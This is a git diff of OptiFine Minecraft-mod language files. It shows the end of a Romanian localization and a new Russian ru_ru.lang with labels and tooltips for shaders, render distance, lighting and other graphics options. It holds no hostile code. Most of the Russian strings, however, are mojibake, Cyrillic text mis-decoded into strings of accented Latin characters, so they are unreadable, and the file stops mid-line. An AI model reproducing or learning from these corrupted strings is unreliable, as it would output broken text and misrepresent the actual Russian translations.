+of.options.AUTOSAVE_TICKS.tooltip.1=Interval auto-salvare +of.options.AUTOSAVE_TICKS.tooltip.2=Intervalul implicit de auto-salvare (2s) NU ESTE RECOMANDAT. +of.options.AUTOSAVE_TICKS.tooltip.3=Auto-savarea cauzeaza faimosul Lag Spike al Mortii. + +of.options.SCREENSHOT_SIZE=Marime Screenshot +of.options.SCREENSHOT_SIZE.tooltip.1=Marime Screenshot +of.options.SCREENSHOT_SIZE.tooltip.2= Implicit - marima implicita de screenshot +of.options.SCREENSHOT_SIZE.tooltip.3= 2x-4x - marime personalizata de screenshot +of.options.SCREENSHOT_SIZE.tooltip.4=Se poate ca, capturand screenshot-uri mai mari sa fie nevoe de mai multa memorie. +of.options.SCREENSHOT_SIZE.tooltip.5=Nu este compatibil cu Render Rapid si Anti-aliasing. +of.options.SCREENSHOT_SIZE.tooltip.6=Necesita suport GPU framebuffer. diff --git a/src/assets/minecraft/optifine/lang/ru_ru.lang b/src/assets/minecraft/optifine/lang/ru_ru.lang new file mode 100644 index 00000000..298d9314 --- /dev/null +++ b/src/assets/minecraft/optifine/lang/ru_ru.lang @@ -0,0 +1,772 @@ +# Contributors of Russian localization # +# Jerozgen 01-Mar-2016 — 15-Oct-2019 +# Dibro 20-Mar-2016 + +# Общее +of.general.ambiguous=Ðеопределено +of.general.compact=Компактный +of.general.custom=По выбору +of.general.from=Файл +of.general.id=ID +of.general.max=МакÑ. +of.general.restart=⟲ +of.general.smart=Умно + +# Управление +of.key.zoom=Приблизить + +# Ð¡Ð¾Ð¾Ð±Ñ‰ÐµÐ½Ð¸Ñ +of.message.aa.shaders1=Сглаживание не ÑовмеÑтимо Ñ ÑˆÐµÐ¹Ð´ÐµÑ€Ð°Ð¼Ð¸. +of.message.aa.shaders2=Отключите шейдеры, чтобы включить Ñтот параметр. + +of.message.af.shaders1=ÐÐ½Ð¸Ð·Ð¾Ñ‚Ñ€Ð¾Ð¿Ð½Ð°Ñ Ñ„Ð¸Ð»ÑŒÑ‚Ñ€Ð°Ñ†Ð¸Ñ Ð½Ðµ ÑовмеÑтима Ñ ÑˆÐµÐ¹Ð´ÐµÑ€Ð°Ð¼Ð¸. +of.message.af.shaders2=Отключите шейдеры, чтобы включить Ñтот параметр. + +of.message.fr.shaders1=БыÑтрый рендер не ÑовмеÑтим Ñ ÑˆÐµÐ¹Ð´ÐµÑ€Ð°Ð¼Ð¸. +of.message.fr.shaders2=Отключите шейдеры, чтобы включить Ñтот параметр. + +of.message.an.shaders1=3D анаглиф не ÑовмеÑтим Ñ ÑˆÐµÐ¹Ð´ÐµÑ€Ð°Ð¼Ð¸. +of.message.an.shaders2=Отключите шейдеры, чтобы включить Ñтот параметр. + +of.message.shaders.aa1=Сглаживание не ÑовмеÑтимо Ñ ÑˆÐµÐ¹Ð´ÐµÑ€Ð°Ð¼Ð¸. +of.message.shaders.aa2=Переключите «КачеÑтво» → «Сглаживание» на «Выкл» и перезапуÑтите игру. + +of.message.shaders.af1=Шейдеры не ÑовмеÑтимы Ñ Ð°Ð½Ð¸Ð·Ð¾Ñ‚Ñ€Ð¾Ð¿Ð½Ð¾Ð¹ фильтрацией. +of.message.shaders.af2=Переключите «КачеÑтво» → «ÐÐ½Ð¸Ð·Ð¾Ñ‚Ñ€Ð¾Ð¿Ð½Ð°Ñ Ñ„Ð¸Ð»ÑŒÑ‚Ñ€Ð°Ñ†Ð¸Ñ» на «Выкл». + +of.message.shaders.fr1=Шейдеры не ÑовмеÑтимы Ñ Ð±Ñ‹Ñтрым рендером. +of.message.shaders.fr2=Переключите «ПроизводительноÑть» → «БыÑтрый рендер» на «Выкл». + +of.message.shaders.an1=Шейдеры не ÑовмеÑтимы Ñ Ð°Ð½Ð°Ð³Ð»Ð¸Ñ„Ð¾Ð¼. +of.message.shaders.an2=Переключите «Прочее» → «3D анаглиф» на «Выкл». + +of.message.shaders.nv1=Шейдерам требуетÑÑ Ð±Ð¾Ð»ÐµÐµ Ð½Ð¾Ð²Ð°Ñ Ð²ÐµÑ€ÑÐ¸Ñ OptiFine: %s +of.message.shaders.nv2=Ð’Ñ‹ уверены, что хотите продолжить? + +of.message.newVersion=ДоÑтупна Ð½Ð¾Ð²Ð°Ñ Ð²ÐµÑ€ÑÐ¸Ñ Â§eOptiFine§f: §e%s§f +of.message.java64Bit=УÑтановите §e64-битную Java§f, чтобы повыÑить производительноÑÑ‚ÑŒ. +of.message.openglError=§eОшибка OpenGL§f: %s (%s) + +of.message.shaders.loading=Загрузка шейдеров: %s + +of.message.other.reset=СброÑить вÑе наÑтройки графики к первоначальным значениÑм? + +of.message.loadingVisibleChunks=Загрузка видимых чанков + +# ÐаÑтройка внешнего вида + +of.options.skinCustomisation.ofCape=Плащ OptiFine... + +of.options.capeOF.title=Плащ OptiFine +of.options.capeOF.openEditor=Открыть редактор плаща +of.options.capeOF.reloadCape=Обновить плащ +of.options.capeOF.copyEditorLink=Копировать ÑÑылку + +of.message.capeOF.openEditor=Редактор плаща OptiFine откроетÑÑ Ð² браузере. +of.message.capeOF.openEditorError=Произошла ошибка при попытке открыть ÑÑылку в браузере. +of.message.capeOF.reloadCape=Плащ будет обновлён через 15 Ñекунд. + +of.message.capeOF.error1=Ðе удалоÑÑŒ войти в учётную запиÑÑŒ Mojang. +of.message.capeOF.error2=Ошибка: %s + +# ÐаÑтройки графики + +options.graphics.tooltip.1=КачеÑтво графики +options.graphics.tooltip.2= БыÑтро - низкое качеÑтво (быÑтрее) +options.graphics.tooltip.3= Детально - выÑокое качеÑтво (медленнее) +options.graphics.tooltip.4=ИзменÑет облик дёрна, лиÑтьев, воды, теней и облаков. +options.graphics.tooltip.5= + +options.renderDistance.tooltip.1=ДальноÑÑ‚ÑŒ прориÑовки +options.renderDistance.tooltip.2= 2 ÐœÐ¸Ð½Ð¸Ð¼Ð°Ð»ÑŒÐ½Ð°Ñ - 32 м (ещё быÑтрее) +options.renderDistance.tooltip.3= 4 ÐœÐ°Ð»Ð°Ñ - 64 м (быÑтрее) +options.renderDistance.tooltip.4= 8 ÐÐ¾Ñ€Ð¼Ð°Ð»ÑŒÐ½Ð°Ñ - 128 м +options.renderDistance.tooltip.5= 16 ДальнÑÑ - 256 м (медленнее) +options.renderDistance.tooltip.6= 32 ÐŸÑ€ÐµÐ´ÐµÐ»ÑŒÐ½Ð°Ñ - 512 м (ещё медленнее!) +options.renderDistance.tooltip.7= 48 Ð‘ÐµÐ·ÑƒÐ¼Ð½Ð°Ñ - 768 м, требуетÑÑ 2 Гбайт ОЗУ +options.renderDistance.tooltip.8= 64 ÐбÑурднаÑ! - 1024 м, требуетÑÑ 3 Гбайт ОЗУ + +of.options.renderDistance.tiny=ÐœÐ¸Ð½Ð¸Ð¼Ð°Ð»ÑŒÐ½Ð°Ñ +of.options.renderDistance.short=ÐœÐ°Ð»Ð°Ñ +of.options.renderDistance.normal=ÐÐ¾Ñ€Ð¼Ð°Ð»ÑŒÐ½Ð°Ñ +of.options.renderDistance.far=ДальнÑÑ +of.options.renderDistance.extreme=ÐŸÑ€ÐµÐ´ÐµÐ»ÑŒÐ½Ð°Ñ +of.options.renderDistance.insane=Ð‘ÐµÐ·ÑƒÐ¼Ð½Ð°Ñ +of.options.renderDistance.ludicrous=ÐбÑурднаÑ! + +options.ao.tooltip.1=ÐœÑгкое оÑвещение +options.ao.tooltip.2= Выкл - без мÑгкого оÑÐ²ÐµÑ‰ÐµÐ½Ð¸Ñ (быÑтрее) +options.ao.tooltip.3= Минимум - проÑтое мÑгкое оÑвещение (медленнее) +options.ao.tooltip.4= МакÑимум - Ñложное мÑгкое оÑвещение (ещё медленнее) + +options.framerateLimit.tooltip.1=ЧаÑтота кадров +options.framerateLimit.tooltip.2= V-Sync - чаÑтота Ð¾Ð±Ð½Ð¾Ð²Ð»ÐµÐ½Ð¸Ñ Ð¼Ð¾Ð½Ð¸Ñ‚Ð¾Ñ€Ð° +options.framerateLimit.tooltip.3= 5–255 - Ñвои Ð·Ð½Ð°Ñ‡ÐµÐ½Ð¸Ñ +options.framerateLimit.tooltip.4= МакÑимум - без ограничений (быÑтрее) +options.framerateLimit.tooltip.5=Уменьшает чаÑтоту кадров до указанной. +options.framerateLimit.tooltip.6= +of.options.framerateLimit.vsync=V-Sync + +of.options.AO_LEVEL=ÐœÑгкое оÑвещение +of.options.AO_LEVEL.tooltip.1=Уровень мÑгкого оÑÐ²ÐµÑ‰ÐµÐ½Ð¸Ñ +of.options.AO_LEVEL.tooltip.2= Выкл - без теней +of.options.AO_LEVEL.tooltip.3= 50%% - Ñветлые тени +of.options.AO_LEVEL.tooltip.4= 100%% - тёмные тени + +options.viewBobbing.tooltip.1=Более реалиÑтичное движение. +options.viewBobbing.tooltip.2=При иÑпользовании рекомендуетÑÑ Ð²Ñ‹ÐºÐ»ÑŽÑ‡Ð¸Ñ‚ÑŒ +options.viewBobbing.tooltip.3=MIP-текÑтурирование. + +options.guiScale.tooltip.1=Размер интерфейÑа +options.guiScale.tooltip.2= Ðвто - макÑимальный размер +options.guiScale.tooltip.3= Мелкий, обычный, крупный - 1x, 2x и 3x ÑоответÑтвенно +options.guiScale.tooltip.4= Ñ 4x до 10x - на мониторах Ñ Ñ€Ð°Ð·Ñ€ÐµÑˆÐµÐ½Ð¸ÐµÐ¼ 4K +options.guiScale.tooltip.5=Ðечётные Ð·Ð½Ð°Ñ‡ÐµÐ½Ð¸Ñ Ð½Ðµ ÑовмеÑтимы Ñо шрифтом Unicode. +options.guiScale.tooltip.6=Чем меньше интерфейÑ, тем он быÑтрее. + +options.vbo=ИÑпользовать VBO +options.vbo.tooltip.1=Vertex Buffer Objects +options.vbo.tooltip.2=ИÑпользует альтернативную модель рендеринга, +options.vbo.tooltip.3=ÐºÐ¾Ñ‚Ð¾Ñ€Ð°Ñ Ð¾Ð±Ñ‹Ñ‡Ð½Ð¾ быÑтрее Ñтандартной на 5–10%%. + +options.gamma.tooltip.1=ЯркоÑÑ‚ÑŒ тёмных объектов +options.gamma.tooltip.2= §oТуÑкло§r - ÑÑ‚Ð°Ð½Ð´Ð°Ñ€Ñ‚Ð½Ð°Ñ ÑркоÑÑ‚ÑŒ +options.gamma.tooltip.3= 1–99%% - Ñвои Ð·Ð½Ð°Ñ‡ÐµÐ½Ð¸Ñ +options.gamma.tooltip.4= Ярко - макÑÐ¸Ð¼Ð°Ð»ÑŒÐ½Ð°Ñ ÑркоÑÑ‚ÑŒ +options.gamma.tooltip.5=Ðе изменÑет ÑркоÑÑ‚ÑŒ полноÑтью чёрных объектов. +options.gamma.tooltip.6= + +options.attackIndicator.tooltip.1=ÐŸÐ¾Ð·Ð¸Ñ†Ð¸Ñ Ð¸Ð½Ð´Ð¸ÐºÐ°Ñ‚Ð¾Ñ€Ð° атаки +options.attackIndicator.tooltip.2= Прицел - под прицелом +options.attackIndicator.tooltip.3= Инвентарь - Ñ€Ñдом Ñ Ð¸Ð½Ð²ÐµÐ½Ñ‚Ð°Ñ€Ñ‘Ð¼ +options.attackIndicator.tooltip.4= Выкл - индикатор атаки отключён +options.attackIndicator.tooltip.5=Индикатор атаки отображает Ñилу атаки предмета, +options.attackIndicator.tooltip.6=Ñкипированного в данный момент. + +of.options.DYNAMIC_LIGHTS=Динам. оÑвещение +of.options.DYNAMIC_LIGHTS.tooltip.1=ДинамичеÑкое оÑвещение +of.options.DYNAMIC_LIGHTS.tooltip.2= §oВыкл§r - динамичеÑкое оÑвещение отключено +of.options.DYNAMIC_LIGHTS.tooltip.3= БыÑтро - обновлÑетÑÑ ÐºÐ°Ð¶Ð´Ñ‹Ðµ 500 мÑ. (медленнее) +of.options.DYNAMIC_LIGHTS.tooltip.4= Детально - обновлÑетÑÑ Ð² реальном времени (ещё медленнее) +of.options.DYNAMIC_LIGHTS.tooltip.5=ЗаÑтавлÑет Ñкипированные и выброшенные предметы, +of.options.DYNAMIC_LIGHTS.tooltip.6=излучающие Ñвет (факел, Ñветокамень и Ñ‚. д.), оÑвещать +of.options.DYNAMIC_LIGHTS.tooltip.7=территорию вокруг. + +options.biomeBlendRadius.tooltip.1=Сглаживание цветового перехода между биомами +options.biomeBlendRadius.tooltip.2= Выкл - Ñглаживание отключено (ещё быÑтрее) +options.biomeBlendRadius.tooltip.3= §o5x5§r - Ñтандартное Ñглаживание +options.biomeBlendRadius.tooltip.4= 15x15 - макÑимальное Ñглаживание (ещё медленнее) +options.biomeBlendRadius.tooltip.5=Чем выше значение, тем выше вероÑтноÑÑ‚ÑŒ Ð·Ð°Ð¼ÐµÐ´Ð»ÐµÐ½Ð¸Ñ +options.biomeBlendRadius.tooltip.6=загрузки чанков и поÑÐ²Ð»ÐµÐ½Ð¸Ñ Ð·Ð°Ð²Ð¸Ñаний. + +of.options.DYNAMIC_FOV=Динамика Ð¿Ð¾Ð»Ñ Ð·Ñ€ÐµÐ½Ð¸Ñ +of.options.DYNAMIC_FOV.tooltip.1=Динамика Ð¿Ð¾Ð»Ñ Ð·Ñ€ÐµÐ½Ð¸Ñ +of.options.DYNAMIC_FOV.tooltip.2= §oВкл§r - подвижное поле Ð·Ñ€ÐµÐ½Ð¸Ñ +of.options.DYNAMIC_FOV.tooltip.3= Выкл - фикÑированное поле Ð·Ñ€ÐµÐ½Ð¸Ñ +of.options.DYNAMIC_FOV.tooltip.4=ИзменÑет поле Ð·Ñ€ÐµÐ½Ð¸Ñ Ð²Ð¾ Ð²Ñ€ÐµÐ¼Ñ Ð¿Ð¾Ð»Ñ‘Ñ‚Ð°, бега +of.options.DYNAMIC_FOV.tooltip.5=и Ñтрельбы из лука. + +of.options.CHUNK_LOADING=Загрузка чанков +of.options.CHUNK_LOADING.tooltip.1=Загрузка чанков +of.options.CHUNK_LOADING.tooltip.2= §oПо умолчанию§r - неÑтабильный FPS при загрузке чанков +of.options.CHUNK_LOADING.tooltip.3= ÐŸÐ»Ð°Ð²Ð½Ð°Ñ - Ñтабильный FPS +of.options.CHUNK_LOADING.tooltip.4= МногоÑÐ´ÐµÑ€Ð½Ð°Ñ - Ñтабильный FPS, загрузка мира в 3 раза быÑтрее +of.options.CHUNK_LOADING.tooltip.5=ÐŸÐ»Ð°Ð²Ð½Ð°Ñ Ð¸ многоÑÐ´ÐµÑ€Ð½Ð°Ñ Ð·Ð°Ð³Ñ€ÑƒÐ·ÐºÐ¸ убирают подвиÑÐ°Ð½Ð¸Ñ Ð¸ лаги, +of.options.CHUNK_LOADING.tooltip.6=вызванные загрузкой чанков. +of.options.CHUNK_LOADING.tooltip.7=МногоÑÐ´ÐµÑ€Ð½Ð°Ñ Ð·Ð°Ð³Ñ€ÑƒÐ·ÐºÐ° ÑпоÑобна уÑкорить загрузку мира в 3 раза +of.options.CHUNK_LOADING.tooltip.8=и увеличить FPS, иÑÐ¿Ð¾Ð»ÑŒÐ·ÑƒÑ Ð²Ñ‚Ð¾Ñ€Ð¾Ðµ Ñдро процеÑÑора. +of.options.chunkLoading.smooth=ÐŸÐ»Ð°Ð²Ð½Ð°Ñ +of.options.chunkLoading.multiCore=МультиÑÐ´ÐµÑ€Ð½Ð°Ñ + +of.options.shaders=Шейдеры... +of.options.shadersTitle=Шейдеры + +of.options.shaders.packNone=Отключены +of.options.shaders.packDefault=(вÑтроенные) + +of.options.shaders.ANTIALIASING=ÐнтиалиаÑинг +of.options.shaders.ANTIALIASING.tooltip.1=ÐнтиалиаÑинг +of.options.shaders.ANTIALIASING.tooltip.2= §oВыкл§r - Ñглаживание отключено +of.options.shaders.ANTIALIASING.tooltip.3= FXAA 2x, 4x - Ñглаживание линий и краёв (медленнее) +of.options.shaders.ANTIALIASING.tooltip.4=FXAA — Ñто Ñффект поÑтобработки, Ñглаживающий +of.options.shaders.ANTIALIASING.tooltip.5=неровные линии и резкие цветовые переходы. Данный +of.options.shaders.ANTIALIASING.tooltip.6=метод быÑтрее, чем традиционное Ñглаживание, и +of.options.shaders.ANTIALIASING.tooltip.7=он ÑовмеÑтим Ñ ÑˆÐµÐ¹Ð´ÐµÑ€Ð°Ð¼Ð¸ и быÑтрым рендером. + +of.options.shaders.NORMAL_MAP=Карта нормалей +of.options.shaders.NORMAL_MAP.tooltip.1=Карта нормалей +of.options.shaders.NORMAL_MAP.tooltip.2= §oВкл§r - карта нормалей включена +of.options.shaders.NORMAL_MAP.tooltip.3= Выкл - карта нормалей отключена +of.options.shaders.NORMAL_MAP.tooltip.4=Карта нормалей может иÑпользоватьÑÑ ÑˆÐµÐ¹Ð´ÐµÑ€Ð°Ð¼Ð¸ Ð´Ð»Ñ +of.options.shaders.NORMAL_MAP.tooltip.5=Ð¼Ð¾Ð´ÐµÐ»Ð¸Ñ€Ð¾Ð²Ð°Ð½Ð¸Ñ Ñ‚Ñ€Ñ‘Ñ…Ð¼ÐµÑ€Ð½Ð¾Ð¹ геометрии на плоÑких +of.options.shaders.NORMAL_MAP.tooltip.6=поверхноÑÑ‚ÑÑ… моделей. +of.options.shaders.NORMAL_MAP.tooltip.7=ПредоÑтавлÑетÑÑ Ð¿Ð°ÐºÐµÑ‚Ð°Ð¼Ð¸ реÑурÑов. + +of.options.shaders.SPECULAR_MAP=Карта отражений +of.options.shaders.SPECULAR_MAP.tooltip.1=Карта отражений +of.options.shaders.SPECULAR_MAP.tooltip.2= §oВкл§r - карта отражений включена +of.options.shaders.SPECULAR_MAP.tooltip.3= Выкл - карта отражений отключена +of.options.shaders.SPECULAR_MAP.tooltip.4=Карта отражений может иÑпользоватьÑÑ ÑˆÐµÐ¹Ð´ÐµÑ€Ð°Ð¼Ð¸ Ð´Ð»Ñ +of.options.shaders.SPECULAR_MAP.tooltip.5=ÑÐ¾Ð·Ð´Ð°Ð½Ð¸Ñ Ð¾Ñобого Ñффекта отражениÑ. +of.options.shaders.SPECULAR_MAP.tooltip.6=ПредоÑтавлÑетÑÑ Ð¿Ð°ÐºÐµÑ‚Ð°Ð¼Ð¸ реÑурÑов. +of.options.shaders.SPECULAR_MAP.tooltip.7= + +of.options.shaders.RENDER_RES_MUL=КачеÑтво рендера +of.options.shaders.RENDER_RES_MUL.tooltip.1=КачеÑтво рендеринга +of.options.shaders.RENDER_RES_MUL.tooltip.2= 0.5x - низкое качеÑтво +of.options.shaders.RENDER_RES_MUL.tooltip.3= §o1x§r - Ñтандартное качеÑтво рендеринга +of.options.shaders.RENDER_RES_MUL.tooltip.4= 2x - выÑокое качеÑтво +of.options.shaders.RENDER_RES_MUL.tooltip.5=УправлÑет размером текÑтур, которые визуализируют +of.options.shaders.RENDER_RES_MUL.tooltip.6=шейдеры. +of.options.shaders.RENDER_RES_MUL.tooltip.7=Ðизкие Ð·Ð½Ð°Ñ‡ÐµÐ½Ð¸Ñ Ð¼Ð¾Ð³ÑƒÑ‚ быть полезны Ð´Ð»Ñ Ð´Ð¸Ñплеев 4K. +of.options.shaders.RENDER_RES_MUL.tooltip.8=Ð’Ñ‹Ñокие Ð·Ð½Ð°Ñ‡ÐµÐ½Ð¸Ñ Ñ€Ð°Ð±Ð¾Ñ‚Ð°ÑŽÑ‚ как фильтр ÑглаживаниÑ. + +of.options.shaders.SHADOW_RES_MUL=КачеÑтво теней +of.options.shaders.SHADOW_RES_MUL.tooltip.1=КачеÑтво теней +of.options.shaders.SHADOW_RES_MUL.tooltip.2= 0.5x - нечёткие, грубые тени +of.options.shaders.SHADOW_RES_MUL.tooltip.3= §o1x§r - Ñтандартное качеÑтво теней +of.options.shaders.SHADOW_RES_MUL.tooltip.4= 2x - детализированные, качеÑтвенные тени +of.options.shaders.SHADOW_RES_MUL.tooltip.5=УправлÑет размером текÑтуры карты теней, ÐºÐ¾Ñ‚Ð¾Ñ€Ð°Ñ +of.options.shaders.SHADOW_RES_MUL.tooltip.6=иÑпользуетÑÑ ÑˆÐµÐ¹Ð´ÐµÑ€Ð°Ð¼Ð¸. +of.options.shaders.SHADOW_RES_MUL.tooltip.7= +of.options.shaders.SHADOW_RES_MUL.tooltip.8= + +of.options.shaders.HAND_DEPTH_MUL=Глубина руки +of.options.shaders.HAND_DEPTH_MUL.tooltip.1=Глубина руки +of.options.shaders.HAND_DEPTH_MUL.tooltip.2= 0.5x - рука около камеры +of.options.shaders.HAND_DEPTH_MUL.tooltip.3= §o1x§r - ÑÑ‚Ð°Ð½Ð´Ð°Ñ€Ñ‚Ð½Ð°Ñ Ð³Ð»ÑƒÐ±Ð¸Ð½Ð° руки +of.options.shaders.HAND_DEPTH_MUL.tooltip.4= 2x - рука далеко от камеры +of.options.shaders.HAND_DEPTH_MUL.tooltip.5=УправлÑет удалённоÑтью от камеры объектов, которые +of.options.shaders.HAND_DEPTH_MUL.tooltip.6=находÑÑ‚ÑÑ Ð² руке. +of.options.shaders.HAND_DEPTH_MUL.tooltip.7=У шейдеров, иÑпользующих глубину резкоÑти, должна +of.options.shaders.HAND_DEPTH_MUL.tooltip.8=изменитьÑÑ Ñ€ÐµÐ·ÐºÐ¾ÑÑ‚ÑŒ объектов, находÑщихÑÑ Ð² руке. + +of.options.shaders.CLOUD_SHADOW=Тени облаков + +of.options.shaders.OLD_HAND_LIGHT=СО рук +of.options.shaders.OLD_HAND_LIGHT.tooltip.1=Старое оÑвещение из рук +of.options.shaders.OLD_HAND_LIGHT.tooltip.2= §oПо умолчанию§r - управление от шейдера +of.options.shaders.OLD_HAND_LIGHT.tooltip.3= Вкл - Ñтарое оÑвещение руки +of.options.shaders.OLD_HAND_LIGHT.tooltip.4= Выкл - новое оÑвещение руки +of.options.shaders.OLD_HAND_LIGHT.tooltip.5=ПозволÑет шейдерам, которые раÑпознают предметы, +of.options.shaders.OLD_HAND_LIGHT.tooltip.6=излучающие Ñвет, только в оÑновной руке, также +of.options.shaders.OLD_HAND_LIGHT.tooltip.7=работать Ñ Ð¿Ñ€ÐµÐ´Ð¼ÐµÑ‚Ð°Ð¼Ð¸ во второй руке. + +of.options.shaders.OLD_LIGHTING=Ст. оÑвещ. +of.options.shaders.OLD_LIGHTING.tooltip.1=Старое оÑвещение +of.options.shaders.OLD_LIGHTING.tooltip.2= §oПо умолчанию§r - управление от шейдера +of.options.shaders.OLD_LIGHTING.tooltip.3= Вкл - иÑпользовать Ñтарое оÑвещение +of.options.shaders.OLD_LIGHTING.tooltip.4= Выкл - не иÑпользовать Ñтарое оÑвещение +of.options.shaders.OLD_LIGHTING.tooltip.5=УправлÑет поÑтоÑнным оÑвещением, применÑемым +of.options.shaders.OLD_LIGHTING.tooltip.6=игрой к Ñторонам блоков. +of.options.shaders.OLD_LIGHTING.tooltip.7=Шейдеры Ñо вÑтроенными тенÑми обычно гораздо лучше +of.options.shaders.OLD_LIGHTING.tooltip.8=показывают оÑвещение, завиÑÑщее от Ð¿Ð¾Ð»Ð¾Ð¶ÐµÐ½Ð¸Ñ Ñолнца. + +of.options.shaders.DOWNLOAD=Загрузить шейдеры +of.options.shaders.DOWNLOAD.tooltip.1=Загрузить шейдеры +of.options.shaders.DOWNLOAD.tooltip.2= +of.options.shaders.DOWNLOAD.tooltip.3=Открывает Ñтраницу Ñо ÑпиÑком шейдеров в браузере. +of.options.shaders.DOWNLOAD.tooltip.4=ПомеÑтите загруженные шейдеры в «Папку Ñ ÑˆÐµÐ¹Ð´ÐµÑ€Ð°Ð¼Ð¸Â», +of.options.shaders.DOWNLOAD.tooltip.5=поÑле Ñтого они Ñтанут доÑтупны Ð´Ð»Ñ Ð¸ÑпользованиÑ. + +of.options.shaders.SHADER_PACK=Пакет шейдеров + +of.options.shaders.shadersFolder=Папка Ñ ÑˆÐµÐ¹Ð´ÐµÑ€Ð°Ð¼Ð¸ +of.options.shaders.shaderOptions=ÐаÑтройки шейдера... + +of.options.shaderOptionsTitle=ÐаÑтройки шейдера + +of.options.quality=КачеÑтво... +of.options.qualityTitle=ÐаÑтройки качеÑтва + +of.options.details=Элементы игры... +of.options.detailsTitle=ÐаÑтройки Ñлементов игры + +of.options.performance=ПроизводительноÑÑ‚ÑŒ... +of.options.performanceTitle=ÐаÑтройки производительноÑти + +of.options.animations=ÐнимациÑ... +of.options.animationsTitle=ÐаÑтройки анимации + +of.options.other=Прочее... +of.options.otherTitle=Прочие наÑтройки + +of.options.other.reset=СброÑить наÑтройки графики... + +of.shaders.profile=ÐаÑтройки + +# КачеÑтво + +options.mipmapLevels.tooltip.1=Уровни детализации +options.mipmapLevels.tooltip.2= Выкл - без ÑÐ³Ð»Ð°Ð¶Ð¸Ð²Ð°Ð½Ð¸Ñ +options.mipmapLevels.tooltip.3= 1 - минимальное Ñглаживание +options.mipmapLevels.tooltip.4= МакÑ. - макÑимальное Ñглаживание +options.mipmapLevels.tooltip.5=ЗаÑтавлÑет удалённые объекты выглÑдеть лучше +options.mipmapLevels.tooltip.6=поÑредÑтвом ÑÐ³Ð»Ð°Ð¶Ð¸Ð²Ð°Ð½Ð¸Ñ Ð´ÐµÑ‚Ð°Ð»ÐµÐ¹ текÑтуры. +options.mipmapLevels.tooltip.7=Обычно не влиÑет на производительноÑÑ‚ÑŒ. + +of.options.MIPMAP_TYPE=MIP-текÑтурир. +of.options.MIPMAP_TYPE.tooltip.1=MIP-текÑтурирование +of.options.MIPMAP_TYPE.tooltip.2= Ближнее - грубое Ñглаживание (быÑтрее) +of.options.MIPMAP_TYPE.tooltip.3= Линейное - нормальное Ñглаживание +of.options.MIPMAP_TYPE.tooltip.4= Билинейное - хорошее Ñглаживание +of.options.MIPMAP_TYPE.tooltip.5= Трилинейное - лучшее Ñглаживание (медленнее) +of.options.MIPMAP_TYPE.tooltip.6=ЗаÑтавлÑет удалённые объекты выглÑдеть лучше +of.options.MIPMAP_TYPE.tooltip.7=поÑредÑтвом ÑÐ³Ð»Ð°Ð¶Ð¸Ð²Ð°Ð½Ð¸Ñ Ð´ÐµÑ‚Ð°Ð»ÐµÐ¹ текÑтуры. + +of.options.mipmap.bilinear=Билинейное +of.options.mipmap.linear=Линейное +of.options.mipmap.nearest=Ближнее +of.options.mipmap.trilinear=Трилинейное + +of.options.AF_LEVEL=Ðнизотроп. Ñ„Ð¸Ð»ÑŒÑ‚Ñ€Ð°Ñ†Ð¸Ñ +of.options.AF_LEVEL.tooltip.1=ÐÐ½Ð¸Ð·Ð¾Ñ‚Ñ€Ð¾Ð¿Ð½Ð°Ñ Ñ„Ð¸Ð»ÑŒÑ‚Ñ€Ð°Ñ†Ð¸Ñ +of.options.AF_LEVEL.tooltip.2= §oВыкл§r - ÑÑ‚Ð°Ð½Ð´Ð°Ñ€Ñ‚Ð½Ð°Ñ Ð´ÐµÑ‚Ð°Ð»Ð¸Ð·Ð°Ñ†Ð¸Ñ (быÑтрее) +of.options.AF_LEVEL.tooltip.3= 2–16 - ÑƒÐ»ÑƒÑ‡ÑˆÐµÐ½Ð½Ð°Ñ Ð´ÐµÑ‚Ð°Ð»Ð¸Ð·Ð°Ñ†Ð¸Ñ (медленнее) +of.options.AF_LEVEL.tooltip.4=Улучшает качеÑтво деталей в MIP-текÑтурах. +of.options.AF_LEVEL.tooltip.5=Может ÑущеÑтвенно понизить производительноÑÑ‚ÑŒ. +of.options.AF_LEVEL.tooltip.6= + +of.options.AA_LEVEL=ÐнтиалиаÑинг +of.options.AA_LEVEL.tooltip.1=ÐнтиалиаÑинг +of.options.AA_LEVEL.tooltip.2= §oВыкл§r - Ñглаживание отключено (быÑтрее) +of.options.AA_LEVEL.tooltip.3= 2–16 - Ñглаживание линий и краёв (медленнее) +of.options.AA_LEVEL.tooltip.4=Сглаживает неровные линии и цветовые переходы. +of.options.AA_LEVEL.tooltip.5=Может ÑущеÑтвенно понизить производительноÑÑ‚ÑŒ. +of.options.AA_LEVEL.tooltip.6=Ðе вÑе видеокарты поддерживают вÑе уровни антиалиаÑинга. +of.options.AA_LEVEL.tooltip.7= +of.options.AA_LEVEL.tooltip.8=⟲ Ð˜Ð·Ð¼ÐµÐ½ÐµÐ½Ð¸Ñ Ð²ÑтупÑÑ‚ в Ñилу только поÑле ПЕРЕЗÐПУСКÐ! + +of.options.CLEAR_WATER=ÐžÑ‡Ð¸Ñ‰ÐµÐ½Ð½Ð°Ñ Ð²Ð¾Ð´Ð° +of.options.CLEAR_WATER.tooltip.1=ÐžÑ‡Ð¸Ñ‰ÐµÐ½Ð½Ð°Ñ Ð²Ð¾Ð´Ð° +of.options.CLEAR_WATER.tooltip.2= Вкл - чиÑтаÑ, Ð¿Ñ€Ð¾Ð·Ñ€Ð°Ñ‡Ð½Ð°Ñ Ð²Ð¾Ð´Ð° +of.options.CLEAR_WATER.tooltip.3= §oВыкл§r - ÑÑ‚Ð°Ð½Ð´Ð°Ñ€Ñ‚Ð½Ð°Ñ Ð²Ð¾Ð´Ð° + +of.options.RANDOM_ENTITIES=Случайные ÑущноÑти +of.options.RANDOM_ENTITIES.tooltip.1=Случайные текÑтуры ÑущноÑтей +of.options.RANDOM_ENTITIES.tooltip.2= Выкл - Ñлучайные ÑущноÑти отключены (быÑтрее) +of.options.RANDOM_ENTITIES.tooltip.3= Вкл - Ñлучайные ÑущноÑти включены (медленнее) +of.options.RANDOM_ENTITIES.tooltip.4=СущноÑти иÑпользуют Ñлучайные текÑтуры. +of.options.RANDOM_ENTITIES.tooltip.5=ПредоÑтавлÑÑŽÑ‚ÑÑ Ð¿Ð°ÐºÐµÑ‚Ð°Ð¼Ð¸ реÑурÑов. + +of.options.BETTER_GRASS=Улучшенный дёрн +of.options.BETTER_GRASS.tooltip.1=Улучшенный дёрн +of.options.BETTER_GRASS.tooltip.2= §oВыкл§r - Ñтандартный дёрн (быÑтрее) +of.options.BETTER_GRASS.tooltip.3= БыÑтро - полное изменение текÑтур (медленнее) +of.options.BETTER_GRASS.tooltip.4= Детально - динамичное изменение текÑтур (ещё медленнее) +of.options.BETTER_GRASS.tooltip.5=ИзменÑет 